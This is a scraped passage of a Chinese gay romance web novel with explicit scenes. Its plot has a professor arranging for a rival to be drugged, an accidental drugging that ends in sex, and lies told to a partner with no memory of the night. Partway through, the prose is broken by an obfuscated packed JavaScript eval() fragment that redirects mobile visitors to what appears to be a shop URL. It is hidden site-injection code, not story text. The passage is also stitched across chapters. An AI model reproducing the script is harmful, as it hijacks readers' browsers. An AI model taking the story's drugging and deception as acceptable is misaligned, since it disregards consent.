林逸身体竟然出现了颤抖,刚刚平复些的灼热再次席卷全身,“你说什么……听不懂。” 沈北岛低笑,缓缓讲出更为缱绻的德文:“Schatz, Mein Herz gehort dir.” “什么嘛……” 林逸下意识地躲闪,却发现身体早已软成了一滩水,听也听不懂,逃也逃不掉。 “林逸,”沈北岛叫他的名字,是温柔的商量口吻,“我们能试试吗?” “试……什么?”林逸从沈北岛的眼神中,读懂了男人压抑不住的欲望,可他现在的心情仿佛是拉扯的弦,绷紧到了极致…… 20.第 20 章 水汽弥漫的浴室里,沈北岛撑在墙上的手背青筋虬结,微微发颤。 热水顺着紧实的背部肌理滑落,溅起的水珠在饱满的肌肉上颤.动,皮肤下青筋隐隐搏.动着...... 他却闭上眼,任由那些挥之不去的画面在脑海里反复冲.撞—— “试试我们还能不能……”沈北岛的目光沉沉锁住窝在沙发里的林逸,“做一些更能拉近距离的事。” 林逸仰着脸看他,眼睛在光下显得格外亮,唇瓣红中透粉:“怎么拉近?” 沈北岛俯身,双手撑在沙发靠背上,他喉结重重一滚,德语裹着砂砾般的欲.望碾出唇缝:“Ich mochte mit dir schlafen.” (想做和你睡) 沈北岛:“Ich mochte dich spüren.” (想感受你里面) 林逸眼睫轻轻一颤,随即勾起嘴角,手指慢悠悠攀上他的腰际,没想到他说德语这么好听,还带着点勾人的调调儿。 指尖慢条斯理攀上他腰侧,灵巧地钻进大衣内侧,触到衬衫下绷紧的肌理,“什么意思,我需要一个解释。” 沈北岛的呼吸重了一分,“意思是,我爱你,好爱你,非常,非常的爱你。” “怎么个爱法?”林逸的冰凉的指腹故意碾过衬衫纽扣,贴上滚烫的皮肤,他抬眼,带着某种纯然的探究,“或者说,你们发达国家在确定关系后,什么时候才适合更进一步?” 沈北岛喉结滚了滚,额角青筋隐隐凸起:“随时都可以。” 他忍不住凑近了一毫,林逸却故意躲了一下,笑意更甜了,“对了,刚刚,你的朋友电话里喊你什么......” “Linus” 林逸凑近些:Linus?是你的德文名字吗?” 随之,衬衣的第二颗、第三颗纽扣接连被解开。 常年锻炼的胸肌开始暴.露在暖灯之下,沟壑深峻,随压抑的呼吸剧烈起伏,乳.首在微凉的空气里变得愈发深沉。 沈北岛咽了咽喉结,声音发紧:“是。” 林逸却在这时往后,贴近了沙发角落,他的食指在沈北岛的胸前画出了个圈,在他还在思考的空余,扯住大衣的边缘,将人拉向自己。 距离骤然缩短,鼻尖几乎相碰。 他的余光瞥见了黑色的西装裤之下,难以言喻的冲动。 他轻轻呵出一声笑,那笑声裹着蜜糖般的引导:“Linus,你是有反应了吗?” 沈北岛:“你说呢。” 林逸:“那我们,该怎么处理这种紧急状况,才合适?” 沈北岛却只是看着他,怎么都欣赏不够...... 林逸笑得有些惹是生非:“Linus,不然,我们做点成年人该做的事?” …… 躁动的记忆被冷水强行切断。 沈北岛紧闭的双眼缓缓睁开,浮躁的热水将他浑身笼罩,他的整个皮肤出现了过敏般的红。 “啪!”他狠狠拍灭热水旋钮,反手将冷水阀拧到极致。 两股冰瀑自头顶与墙侧同时倾泻而下,如同刚才那场微凉的细雨,将他浮躁上.瘾的情绪拉回了机智。 皮肤上情动的潮.红在冷水中迅速消退,取而代之的是清醒的颤栗。 他双手撑在瓷砖墙上,深深吸气,再缓缓吐出。 水声哗然,盖过了胸腔里依然紊乱的心跳。 他知道林逸在试探,用最简单直接的办法试探。 沈北岛看着镜中湿发凌乱,眼神深暗的自己,他的防线差点就在那声“Linus”里全线崩溃。 冰凉的水流从头顶持续不断地冲刷而下,试图浇灭体内不合时宜的燥热,但是效果甚微。 生理的本能固执地昂首抗议,抗议他违背天性,抗议他爱的不够纯粹。 像一面劝他投降的旗帜,无声地嘲笑着他此刻的克制与所谓的高尚。 沈北岛烦躁地将花洒取下,对准那“斗志昂扬”的所在。 冷水激得皮肤泛起细小的战栗,可内心火焰却无法熄灭。 原来,理智筑起的堤坝,在汹涌的本能面前,显得如此脆弱。 “哗啦哗啦哗啦......” 单调的水声在狭小的空间里回响,许久之后,他终于忍无可忍,一拳狠狠砸在冰冷的玻璃隔断上,闷响之后,是长久的沉默...... 他开始忏悔自己的“恶行”—— 不行。 我们的关系,不能建立在谎言与欺瞒之上,我不能在他一无所知的时候,引.诱他做任何可能让他后悔的事。 如果有一天他知道了我所有的隐瞒,他会怎样? 他会恨我吗?会不会觉得我是个卑鄙小人,利用虚假的身份接近他,甚至设计将那个人送入警局? 会为我们之间存在八岁的年龄鸿沟感到被欺骗吗? 还是会……干脆利落地转身离开,再也不愿见我? 水流似乎没有了温度,他感受不到任何冰冷,心绪却在其中逐渐清晰。 不,我要的不是一时偷欢的短暂。 我要的是那个知晓全部真实,依然愿意走向我、拥抱我、完完全全接受我的林逸。 看来,是时候找个时机,将我坦诚在他面前了。 ...... 走出浴室,沈北岛换了身深蓝色丝绒睡衣,将一杯冒着热气的白兰根冲剂递到林逸面前,“趁热喝,预防感冒。” 林逸接过温热的马克杯,指尖相触时,他分明感觉到对方指腹的微凉,以及随后的,一丝回避。 林逸想到刚才浴室里那阵动静,沈北岛洗了一个小时的澡,还有现在这刻意保持的距离…… 作为一个立志成为体贴大猛攻的男人,他对沈北岛小媳妇儿的行为表示一万个理解。 林逸慢悠悠地喝着冲剂,心里反思:一定是我太急了,没准备好那些需要的东西,让他紧张了,毕竟他也是第一次,怕疼是难免的…… “谢谢,味道还不错。”林逸小口抿着微苦的冲剂,脑子飞快转动,想找个轻松的话题打破这微妙的氛围。 “我等会儿要去书房处理一下学校的事。”沈北岛声音平静,率先打破了尴尬,“如果你困了就先睡,不用等我。” 切!还学校的事? 大半夜学校有什么事?老师都没你忙。 他这是害羞了?找借口避开我? “好!”他立刻表现出十足的“善解人意”,“我正好还得写个工作日报,我也得忙一会儿。” “嗯。”沈北岛应了一声,转身走向书房,背影看起来依旧挺拔。 但在林逸眼里,竟品出几分“落荒而逃”的僵硬。 看着书房门轻轻关上,林逸才长长舒了口气,瘫进沙发里。 压力好大! 不知道为什么,跟沈北岛谈恋爱后,他总是感觉到这猛1不好当! 理论知识储备严重不足,必须立刻马上补补课! 他拿起手机,再次点开那个隐秘的论坛App。 这才发现,距离自己上次那个引发热烈讨论的“求助帖”,已经过去快半个多月了。 帖子早已被顶成“百层高楼”,评论区一片狼嚎,好多蹲后续的网友在评论区疯狂@他。 【350楼】楼主你还活着吗?! 【351楼】后续呢后续呢!@楼主 【352楼】我猜楼主已经谈上了! 【352楼】呜呜呜我的养成系纯情猛1,妈妈等你汇报战绩等得好苦! ...... 【楼主最新更新动态+1】 楼主:已经正式在一起了,但是…… 第一次尝试不太顺利。想请教大家,有什么具体办法能让零号更放松、体验更好,让一号(我)表现得更体贴,避免尴尬吗? 这条更新后,宛如投下一颗深水炸弹: 【352楼】不顺利?细说怎么不顺利?是尺寸不合还是技术问题(狗头) 【353楼】啊啊啊他回来了!还带着新问题!楼主好可爱! 【354楼】不太顺利——这四个字信息量好大,我脑补了三万字 【355楼】啊啊啊楼主这是投了个胎吗现在才出现? 【356楼】书接上回,根据楼主之前描述的男友体型,属于典型的肌肉猛0吧? 【357楼】书接上楼,某些特别耗费体力的动作,如抱.炒就不要轻易尝试了 【358楼】口水鸡好吃口水鸡好吃口水鸡好吃... 【359楼】? 【360楼】火腿肠好吃,黄瓜好吃,胡萝卜好吃,小鸡好吃,大巨霸也好吃! 【361楼】???? 【362楼】推荐划船or推车运动,对腰腹核心要求高,但楼主你说你有腹肌应该能hold住 【363楼】仰卧起坐也不错啊,互动感嘎嘎强! 【364楼】超级推荐“三折叠”,怎么折都有面儿~ 【365楼】试试加速弹跳俯卧撑,你会回来谢我的! 【366楼】个人觉得食指和中指比较好用 林逸看得一头雾水,他在这里渴求真理,怎么评论区又是推荐吃的又是推荐运动的? 楼主回复:这些运动我平时都有练,但如果事前过度消耗体力,会不会本末倒置影响正式发挥? 此回复一出,评论区静默了两秒: 【368楼】????? 【369楼】不儿?楼主你……莫非是……童男子?? 【370楼】这清澈中带着愚蠢的提问……小处男没跑! 【371楼】我笑死了,楼主真的好认真在探讨体能问题 【372楼】看不下去了,楼主,点这个链接(需挂V.P.N),打开新世界的大门!不用谢![链接] 【373楼】好人一生平安!楼主快去学习!! 【374楼】楼主,今天就到这吧!我们等你下次上来,请直接汇报战绩 【375楼】要求不高,一夜次数别低于两位数,时长请超越国男平均水平,谢谢。 【376楼】有种在玩真人恋爱养成游戏的感觉?刺激! 林逸被评论区调侃弄得心慌慌的,他默默回了个【1】(表示收到) 然后复制了那个神秘链接,以学习的心态点了进去。 缓冲过后,画面出现。 林逸眉头紧锁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16808343|190733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,努力理解:“这也听不懂啊?美国的?” “怎么还出现了个黑人?” “这也没有字幕翻译,是国外的性.教育视频吗?还是那边比较看重这方面的教育……说的什么?我也听不懂啊。” “嗡——” 茶几上,沈北岛正在充电的手机突然震动起来,屏幕亮起。 林逸下意识拿起来,准备送去书房。 拔掉充电线时,他瞥见了来电显示的一串数字。 尾号:7890 又是这个号码? 他脚步顿住,低头又仔细看了一眼屏幕:158 xxxx 7890 他拿着沈北岛的手机,转身走回沙发,拿起自己的手机,迅速翻到通讯录,找到「李锐」的名字,一个数字一个数字地比对。 158 xxxx 7890 电话号码一模一样!! “艹!真是李锐?!”林逸懵。 林逸犹豫了一会儿,然后看向书房紧闭的房门,手指一不听使唤点了接通键。 “喂?请问有人吗?喂?你好......” 林逸赶紧挂断。 是李锐的声音,没错! 打来电话的就是李锐! 他的发小李锐!! 李锐怎么会认识沈北岛? 沈北岛明明亲口说过,他不认识李锐。 这到底是怎么回事? 就在这时,书房门把手转动的声音清晰地传来。 林逸几乎是条件反射迅速将沈北岛的手机插回充电器,一个转身蹿回沙发。 因为动作太急,他甚至来不及调整姿势,在沈北岛推门而出的瞬间,只来得及背对着门口,以一个略显僵硬的姿态坐下去,那圆润的小屁股呈现撅起来的姿势,臀部线条在居家裤包裹下,更显流畅和饱满。 沈北岛一开门,目光没选择的落在那片引人遐想的曲线上,他明显顿了一下,声音比平时低沉了些:“......还没睡?” “没呢!”林逸感觉喉咙突然有些干,“刚才有点困,突然又渴了,起来喝点水。” 其实,沈北岛在书房的这四十分钟,他全耗在刷那个教学论坛上了。 沈北岛走近,伸手握住了林逸的手腕,顺着他的手腕向下,是一个十指紧扣的姿势,“快十二点了,还是早点休息吧?” “……好。”林逸被他看得心跳失序,关于手机号的疑问暂时被更汹涌的紧张感压了下去。 然而,就在他准备起身的瞬间—— “Oh…Yeah…Harder…Fuck…” 一连串高昂、黏腻、充满暧昧气息的英文声音,毫无预兆响起,慢悠悠地回荡在空旷的客厅。 两人同时停下。 沈北岛微微转身,随即目光投向了声音的来源,林逸手里还亮着屏幕的手机。 视频画面角度虽然刁钻,但那暧昧的肢体接触和节奏性的晃动......成年人懂得都懂。 林逸的脸烧得通红,手忙脚乱地去抓手机,想要关掉这该死的视频,却因为慌乱,手指滑了几下都没成功,反而让那令人血脉偾张的声音持续外放。 沈北岛眼底淡然,随即,一种混着某种深黯欲.望的神情缓缓浮现。 “原来。”沈北岛微微俯身,“我的小男朋友趁我不在的时候,偷偷学习?” “不是,你误会了,是论坛里网友发的链接,我好奇就点了一下……”林逸窘得想找条地缝钻进去,身体下意识后躲着,却被沙发背困住,无处可逃。 他能感觉到沈北岛身上传来的热度,以及那目光中毫不掩饰的兴味。 “学习?”沈北岛的指尖轻轻划过林逸下颌线,动作慢条斯理却充满侵略,“学到什么了?嗯?说说看。” 林逸不自然并拢双腿,那里竟然有了些糟糕的反馈,“我,我不知道……我还没看呢,你就出来了。” “不知道?还学会说谎了?”沈北岛低笑一声,他伸出手,不是去拿手机,而是勾进了林逸的裤腰,“那,小小逸也会说谎吗?” “!”林逸浑身剧烈一颤,像是过电一般,惊.喘出声,他甚至不知道该怎么回应沈北岛的热情。 “看来,”沈北岛的手掌隔着布料不轻不重地揉了一下,眼中墨色更浓,声音愈发喑哑,“理论知识,不如实践来得直接。” “沈北岛……你……” 沈北岛趁着他半躺的姿势,指尖挑开他裤腰的松紧带,不容拒绝滑.进了缝隙之下....... 沈北岛哄着他,温热的吻落在汗湿的额角,另一只手坚定地握住林逸试图推拒的手腕,将他不安分的指尖轻轻压进沙发靠背的丝绒里。 林逸不甘示弱地挣动,却换来一个又一个近乎惩戒的深吻。 氧气被寸寸剥夺,直到怀里的人终于软了力道,发出示弱般的呜咽,沈北岛才意犹未尽地松开。 “看来确实要好好学习。”他在林逸失控的声音中,贴着他的唇轻声说,“连接吻时怎么换气……都没学会。” 说罢,他再度封住林逸的唇,引导着教他怎么换气…… 惩罚与纵容早已模糊了边界,就像此刻纠缠的呼吸,爱意是真实的,但爱之下的欺瞒也同样真实。 35-40 第36章 昨天凌晨三点。 , 林逸家门口,张泽轩裹着一件臃肿的黑色羽绒服,里面露出毛绒睡衣边角,脚下还趿拉着室内棉拖鞋。 他头发乱翘,眼下挂着浓重的黑眼圈,手里拎着一个牛皮纸袋。 门打开。 沈北岛站在门内,灰色睡衣显然是临时套上的,腰带系得有些仓促,领口微敞,露出一截锁骨。 向来一丝不苟的沈教授,此刻竟显得有些狼狈。 睡袍领口边缘,还有几道颜色新鲜的、细细的红色划痕,在冷白皮肤的映衬下格外醒目。 “我说沈大教授!”张泽轩一进门就没好气地开口,“不带你这么使唤人的,我们之间是有交易没错,但你这也得讲点基本的人道主义吧? 我这刚躺下不到一个小时,就被你的电话吵醒了!” “大冬天凌晨,让我去那种犄角旮旯……”他的抱怨戛然而止,目光落到茶几上放着的一个打开的文件袋上,里面露出一份签好字的文件,标题《谅解书》。 “卧槽?!”张泽轩眼睛瞬间瞪圆,困意全消,不敢置信地拿起那份文件,翻来覆去地看,“真的假的?你就这么突然给我了?” “嗯。”沈北岛随口应了一声,抬手揉了揉眉心,动作间睡袍袖子滑落一截,露出手腕上几道同样新鲜的指痕。 他看起来有些疲惫,眼神看向卧室方向,完全没在意张泽轩的惊讶。 张泽轩的注意力立刻从谅解书转移到沈北岛身上,尤其是那些醒目的痕迹,实在太多了。 他“啧”了一声,语气变得微妙起来,带着点指责又有点八卦:“沈教授,看不出来啊……你跟我逸哥这战况够激烈的。” “不过我可提醒你啊,我逸哥可是误喝了那玩意儿,身体正不舒服着呢,肯定浑身疼,还很热,更容易理智不清醒,你可别趁人之危,把我哥们折腾坏了!” 沈北岛系睡袍腰带的手顿住了,他抬眼看向张泽轩,带着审视:“你为什么知道这么多细节?” “……我猜的!” 张泽轩心虚的赶紧把手里拎着的牛皮纸袋递过去:“你要的东西,那地方可真够偏的,黑灯瞎火,店招牌都没有,跟搞地下交易似的……” 他忍不住又嘀咕了一句,“虽然我大概猜到里面是啥。” 沈北岛没接话,接过纸袋,转身走到沙发坐下,他就当着张泽轩的面,拆开了封口严实的袋子。 从里面拿出一个巴掌大的白色纸盒,盒子上没有任何中文,印满了看不懂的外文字符和抽象的图案。 张泽轩伸长脖子去看:“这又是什么?我警告你,上次为了确认那玩意没毒,我可亲自尝过的! 这次你别想再给我逸哥乱喂什么!我得先验验货!” 他说着就要去抢。 沈北岛手腕一转,避开了他的手,将药盒握在掌心,抬眼看他,语气里带着一丝荒谬:“……你觉得我会害他?” 他上下打量了张泽轩一番,目光在他脖子上未能完全遮掩的暧昧痕迹上停留了片刻,再结合他刚才那句“亲自尝过”,沈北岛似乎明白了什么。 他轻轻嗤笑一声:“张同学,我虽然不是什么好人,但基本法律底线还是有的,违法犯罪的事,我不会做。” 他顿了顿,反问的语气,“林逸是我爱人,你觉得我有什么原因会去伤害我的爱人?” “可你不觉得你这种行为很……很变态吗?” “我吗?”沈北岛微微挑眉,像是听到了什么有趣的说法,嘴角勾起一个弧度,“我不觉得。” “倒是你,张同学,似乎总喜欢把事情往复杂、阴暗的方向去想。” 他之前还觉得张泽轩心思活络,是个可用的“棋子”,现在看来,这心思用错了地方。 “那你手里这到底是什么东西?”张泽轩指着那盒药,不依不饶。 沈北岛这次倒是很干脆,直接将药盒丢了过去:“醒酒药,进口的,专门缓解酒后各种不适,尤其是误食了某些助兴成分后的宿醉反应,你可以自己查。” 张泽轩掏出手机,打开翻译软件,对准盒子上的外文拍照识别。 几秒钟后,翻译结果跳了出来,适应症确实写着“用于缓解过量饮酒及相关不适”。 “我擦!还真是醒酒药?” 张泽轩懵了,抬头看向沈北岛,“那你让我鬼鬼祟祟,大半夜跑去成人用品小店拿货?搞得跟特务接头一样!你直接说不就行了?!” “你没问。”沈北岛言简意赅,站起身,顺手将药盒拿回,放进了睡袍口袋。 “我……” 张泽轩哑口无言,他确实没问,因为他知道,就算他问了,这个教授也不会说! “太晚了,我也不便留你。” 沈北岛做了个“请”的姿势,这就是要赶人出门了。 张泽轩有点烦闷的转身。 沈北岛提醒道:“我给你东西只是为了让你喂给那个难缠的人,可你不仅喂错了,而且还自己擅自食用。 张同学,这是你自己行为不慎导致的后果,与我无关。我希望,你不要在林逸面前提起任何与我有关的猜测。” 他的计划:如果陈之南被喂了那东西,又在林逸意识不清时进了门,大概率会做出过界的举动,到时,他会立刻阻止。 林逸因为被冒犯而彻底厌恶陈之南,或者,被他这个“现任男友”撞见尴尬场面心生愧疚,不论哪一个,都利于他进一步巩固关系,扫清障碍。 没想到,张泽轩这个“执行者”如此“出色”,直接把计划搅得天翻地覆。 张泽轩被他说得脸色惨白,想反驳又哑口无言,因为沈北岛说的基本都是事实。 他咬了咬牙,大步走出门。 就在他脚踏出门外的瞬间,电梯“叮”一声响了。 一个穿着制服的外卖小哥走了出来,看到张泽轩从这门里出来,很自然地把手里的一个包装严实袋子递给他:“您好,您的外卖。” 张泽轩下意识接过。 沈北岛正要关门的手停住了,目光落在那个袋子上。 张泽轩本来就憋着一肚子火,脑子一热,当着沈北岛的面,就把药店袋子的封口撕开了,伸手往里一掏: 几支不同品牌、不同规格、甚至不同“口味”的润滑剂掉了出来,落在光洁的地板上。 其中两支的包装上,还明确印着“可食用”、“果味”等字样。 空气凝固了。 沈北岛看着地上那几支东西,又看看僵在原地,手里还捏着破袋子的张泽轩,眼睛微微眯了眯。 张泽轩却像抓住了什么了不得的把柄,原本沮丧的脸上瞬间露出一抹带着挑衅意味的笑。 他把东西一股脑捡起来,塞回袋子,然后重新递向沈北岛:“沈教授,这东西……你想用?” 他顿了顿,观察着沈北岛的反应,直接提出了条件:“想用可以,你得再帮我个忙。” 沈北岛盯着他看了两秒,看在他是林逸朋友的份上,让了门:“给你三分钟。” 张泽轩快速返回去,反手关上门:“不用三分钟,一分钟就够了!” 他先把那个药店袋子用力塞进沈北岛怀里,“我……我跟林逸他爸,睡了!你帮我想想办法!” 沈北岛虽心思深沉,此刻也罕见地愣了一瞬,脸上闪过一丝极其细微的错愕。 他扯了扯嘴角,像是没听清:“什么?” “还不是你给我的那破玩意儿!” 张泽轩提起这个就来气,也顾不上什么面子了,直接说:“我本来是兑了点水想自己尝尝到底是什么,结果手一抖,不小心洒进谢叔的茶杯里了…… 后来我就给忘了,然后他就喝了!然后……” 他也不管沈北岛是什么反应,指责道:“说到底都是你指使的!你得对我负责!帮我想想办法怎么解决……” 沈北岛听完,沉默了足足有五秒钟。 他抬手,用力揉了揉突突直跳的太阳穴,感到一种前所未有的“带孩子”的疲惫感。 “首先……”他开口,声音恢复了惯常的冷静,“你先从谢醇公司离职,物理隔离是解决问题的基础。” 他顿了顿,看着张泽轩瞬间垮下去的脸,继续道:“离开现在的环境,距离和时间会让你逐渐淡忘这次……意外。 之后,我可以帮你安排一份新工作,不在江州也可以,新环境新开始。” “你说什么呢?” 张泽轩差点跳起来,脸涨得通红,“我是让你帮我想办法,怎么才能追到谢叔!” 沈北岛:……… 他看着眼前这个一脸“我是认真的”表情的年轻人,第一次对自己看人的眼光产生了怀疑。 “啪。” 回答张泽轩的,是毫不留情关上的房门。 张泽轩对着紧闭的防盗门,气得直跺脚,又不敢大声喧哗,最后只能咬牙切齿地对着门缝做了个鬼脸,转身走了。 沈北岛长长地吐出一口气。 还好,他早有准备,提前断开了林逸家里监控的电源。 不然,刚才那些混乱的对话,万一被记录下来,后果不堪设想。 * 此时,林逸坐在餐桌前,小口小口地喝着沈北岛早起熬好的小米粥。 他总觉得坐立不安,身上有种难以言喻的酸软和隐隐的痒意,尤其是臀部的肌肉,像是被人用力掐过或者打过? 他忍不住在椅子上轻微地挪动。 沈北岛已经穿戴整齐,正在系领带。 深灰色的西装衬得他肩宽腿长,恢复了平日里一丝不苟的精英教授模样,只有细心观察,才能发现他眼下有一抹极淡的倦色。 “沈北岛……”林逸放下勺子,舔了舔嘴唇,声音也弱弱的,“昨天……昨天晚上,我们……有没有做什么?” “什么?”沈北岛正在调整领结的位置,闻言动作一顿,转过身来,故意用带着点茫然和探究的语气反问,“我们做什么?” “就是……就是那种……” 林逸憋了半天,才说:“就是羞羞的事……我昨天喝多了,就记得一点点片段……好像有……又好像没有,我看到桌子上,还有那个东西。” 沈北岛看着他这副又害羞又努力想弄清楚的模样,他脸上没有丝毫异样,甚至微微蹙眉,像是在努力回忆。 然后,他迎着林逸期待的目光,非常自然,非常肯定地点了点头:“嗯,做了。” 林逸的眼睛瞬间睁大了。 沈北岛往前走了两步,在餐桌边微微倾身,靠近林逸,语气之中掺杂着纵容、宠溺和一点点无奈:“昨天晚上,我家小兔子,特别厉害。” 林逸耳朵竖了起来。 “抱着我不肯松手,力气大得我都挣不开。”沈北岛说着,还抬手轻轻摸了摸自己的锁骨附近,那里正好有一道新鲜的划痕,在林逸眼前晃了晃。 林逸的目光跟着他的手指移动,脸更红了。 “一次又一次的……”沈北岛的声音更低了,带着点气声,像是在分享一个甜蜜又辛苦的秘密,“完全不顾我的死活,我都求饶了也没用……” “哎……你别说了别说了!我知道了!” 林逸终于听不下去,猛地伸出手,一把捂住了沈北岛的嘴,掌心感受到对方唇边压抑不住的笑意,更是羞得无地自容。 但不可否认,一股混合着得意、甜蜜和“原来我这么勇猛”的暗爽感,悄悄在心尖冒了泡。 原来,真的是他把沈教授给那个了? 还……这么猛? 沈北岛被他捂着嘴,眼里笑意更浓。 他轻轻拉下林逸的手,握在掌心,拇指摩挲着他微烫的手背皮肤:“宝贝这么厉害,我下次还想要。” “哎呀!知道了知道了!你、你快去上班吧!要迟到了!” 林逸被他直白的话弄得手足无措,用力抽回手,推着他往门口走,企图用催促掩盖自己的害羞。 沈北岛顺从地被他推到玄关,临出门前,他又转身,揉了揉林逸睡得翘起来的金发,在他脸颊落下一个轻柔的吻: “那我走了,在家好好休息,不舒服随时给我打电话。” “嗯嗯,快走吧!”林逸不敢看他,只顾着点头。 门关上了。 沈北岛站在门外,听着里面隐约传来林逸哼着不成调的小曲,脚步轻快走回餐厅的声音,终于忍不住,低低地笑出了声,摇了摇头。 看来……是信了。 幸亏昨晚理智尚存,在最后关头刹了车,进行到一半,怀里的人就疼得直掉眼泪,呜咽着喊疼,他哪里还舍得继续,只能硬生生停下,抱着哄了半夜。 尺寸不匹配的问题,看来得从长计议,想想别的“办法”了。 林逸美滋滋地坐下继续喝粥,感觉浑身那点不适都变成了“战利品”的勋章。 他拿起手机,解锁,第一条就是张泽轩发来的十几条未读消息。 他懒得往上翻看那些日常废话,直接划到最新,兴致勃勃地开始打字: 【林逸】轩子,你知道甜甜的恋爱是什么感觉吗? 【林逸】你肯定不知道~ 【林逸】他说我超厉害(小兔子得意转圈圈.jpg) 【林逸】今天心情好,晚上请你吃饭!说起来,这事儿还得谢谢你!(龇牙笑.jpg) 此时此刻,谢醇的公司里。 因为一份关键合同上的数据错误,导致与重要供应商的关系出现裂痕,甚至可能影响后续一系列合作。 张泽轩作为项目跟进人之一,和其他几名相关同事正站在办公桌前,接受谢醇沉着脸的训斥。 谢醇穿着笔挺的深色西装,坐在宽大的办公桌后,面色冷峻。 随后,他条理清晰,措辞严厉地指出问题所在,要求立刻拿出补救方案,并追究相关责任。 张泽轩垂着头站在最后面,偷偷把手机亮度调到最低,藏在文件夹后面,点开了林逸发来的消息。 看到那四行字,张泽轩的眼皮狠狠跳了两下。 他手指僵硬地打字回复: 【张泽轩】厉害? 【张泽轩】跟你家那位沈教授睡过了? 几乎是他消息发出去的瞬间,林逸的回复就跳了出来: 【林逸】当然!老子可是大猛1 “噗!” 张泽轩看着屏幕上那“大猛1”三个字,想到林逸此刻可能还腰酸腿软窝在沙发里傻乐,他就没忍住。 在这弥漫着低气压的会议室里,这声突兀的“噗”显得格外刺耳。 所有人都停下了动作,目光齐刷刷地看向他。 张泽轩瞬间僵住,手忙脚乱地把手机塞回口袋,低下头,当刚才啥也没发生。 谢醇沉默地看了他几秒,然后移开目光,对其他人挥了挥手:“你们先出去吧,把整改方案尽快拿出来,张泽轩——” “你单独留一下。” 第37章 谢醇靠坐在宽大的办公椅里,双手交叠放在桌上,眉头微蹙,看向张泽轩,他刚要开口。 “谢总!”张泽轩先发制人,声音拔高了一个调,“得罪客户这事儿,我可全程没参与,我就在旁边陪客户吃吃饭,倒倒饮料,递递纸巾,合同条款我一个字儿没看过,您要追责,也骂不着我!” 谢醇深吸一口气,再次张口,试图把话题拉回正轨:“我……” “而且!!”张泽轩根本不给他说话的机会,他从怀里抱着的文件夹里抽出一张A4纸,“啪”的一声,拍在谢醇的办公桌面前,纸张边缘甚至翘起了一个卷起的角。 “你交给我的事,我可是提前一周就给你办好了!” 谢醇的目光落在那张纸上,眉头皱得更紧了。 那是一份《谅解书》的复印件,右下角是沈北岛的签名,极具个人特色。 “你……”谢醇的嘴唇动了动。 张泽轩再次打断:“你放心,原件在我家里好好收着呢!” 张泽轩像是猜到了他要说什么,立刻后退三步,拉开一个自以为安全的距离,仰着下巴,努力让自己的姿态看起来强硬一些,“你想要,就明天亲自登门,来我家拿。” 谢醇沉默地看着他,几秒钟后,他缓缓站起身。 他比张泽轩高了半个头,常年居于上位的威严气场在不大的办公室里无声蔓延。 他双手插在西裤口袋里,刚才因工作失误而起的愠怒似乎沉淀了下去,转而变成了一种更深的审视。 “为什么要去你家里?”他的声音平静,听不出喜怒,“这是老板交给你的任务,你明天带过来。” “为什么不能去我家?!” 张泽轩梗着脖子反问,心跳瞬间加快,“我们俩都是那种关系了,你、你去见见……见见岳……我爸妈,有什么问题吗?” 他差点说出“岳父、岳母”,话到嘴边,对上谢醇那双深邃的眼眸,终究是怂了。 谢醇的表情依旧没什么变化,“上次,是个误会。是你未经允许,私自进入我的私人办公室,才导致了后续一系列的事。” “误会?!”这两个字像是点燃了炸药桶。 张泽轩憋了好几天的委屈和愤怒瞬间爆了,“谁家的误会直接上。床做全套的?!老子之前睡的可都是女孩子! 自从跟你……跟你那啥了以后,我他。妈现在连看小。皇。片都……都立不起来了!” 他越说越激动,声音都在抖,眼圈不受控制地开始泛红。 他最受不了的就是谢醇这副波澜不惊、仿佛什么事都没发生过的样子! 凭什么他一个人在这里抓心挠肝、辗转反侧,对方却跟没事人一样? “你可倒好!自己舒服完了,裤子一提,就他妈让我‘滚’!我不滚,你就打电话叫保安!” 张泽轩的声音带了哽咽,眼泪终于不争气地飙了出来,他用力一抹,更委屈了,“人家保安都他。妈的下班了! 你就给物业公司打电话投诉!非让人家叫个夜班保安上来把我架出去!” “谢醇你还是人吗你?! 有这么对待……对待一夜情对象的吗?!” “在公司,注意言辞,不许说脏话。” 谢醇看着他涕泪横流还努力瞪着自己的样子,呼吸都没乱一下,只是平淡地提醒,“我告诉过你。” “我就说了!我踏马的就说了!我踏马我踏马我踏马我踏马!” 张泽轩彻底炸毛,还气得原地蹦了两下,故意更大声地重复:“我骂我自己!你管得着吗?!现在不用叫夜班保安了是吧?白班的都在楼下轮班呢! 有本事你就叫啊!现在就叫!把我扔出去! 让大家看看谢总是怎么公私分明,体恤员工,跟自己的助理上。床的……” 他尖锐的声音在隔音良好的办公室里回荡,刺得人耳膜发疼。 谢醇听着他越来越离谱的叫嚷,额角的青筋终于隐隐跳动了一下。 他忍无可忍。 在张泽轩下一句“国粹”即将出口的瞬间,一步上前,一把攥住了张泽轩的手腕,力道大得不容挣扎,直接把人往办公室内侧的私人休息室拖。 “哎!你干什么?!谢醇你放开我!办公室暴。力啊你!” 张泽轩吓了一跳,一边挣扎一边嚷嚷,“你再这样,我告诉你儿子去,就说他多了个后爸,老子气死你” “疼,轻点轻点,啊” 谢醇充耳不闻,另一只手利落地拧开休息室的门,一把将张泽轩推了进去,然后自己也快步进入。 “啪嗒。” 门被反锁,彻底隔绝了外面的世界,也隔绝了张泽轩那些不过脑子的叫嚣。 休息室里没开灯,只有百叶窗缝隙透进的,被切割成细条的天光,昏暗而暧昧。 空气中飘散着淡淡的烟草气息,还有一丝让张泽轩心跳骤然失序的气息。 大概,可能,只是气的。 时间倒回那个混乱的夜晚。 其实事情的起因,纯属张泽轩自己“手贱”加“好奇心害死猫”。 那天他为了整理一份重要的跨国合同,加班到晚上十点多才算搞定。 揉着酸痛的脖子准备下班时,忽然想起沈北岛交给他的那个“神秘任务”。 想到第二天要执行沈北岛那个神秘兮兮的“计划”,他怀揣忐忑又“舍身试毒”的悲壮心情,决定先试试那管无色液体到底是什么玩意儿。 办公区域摄像头密布,被拍到总归不好。 他眼珠一转,瞄向了总裁办公室。 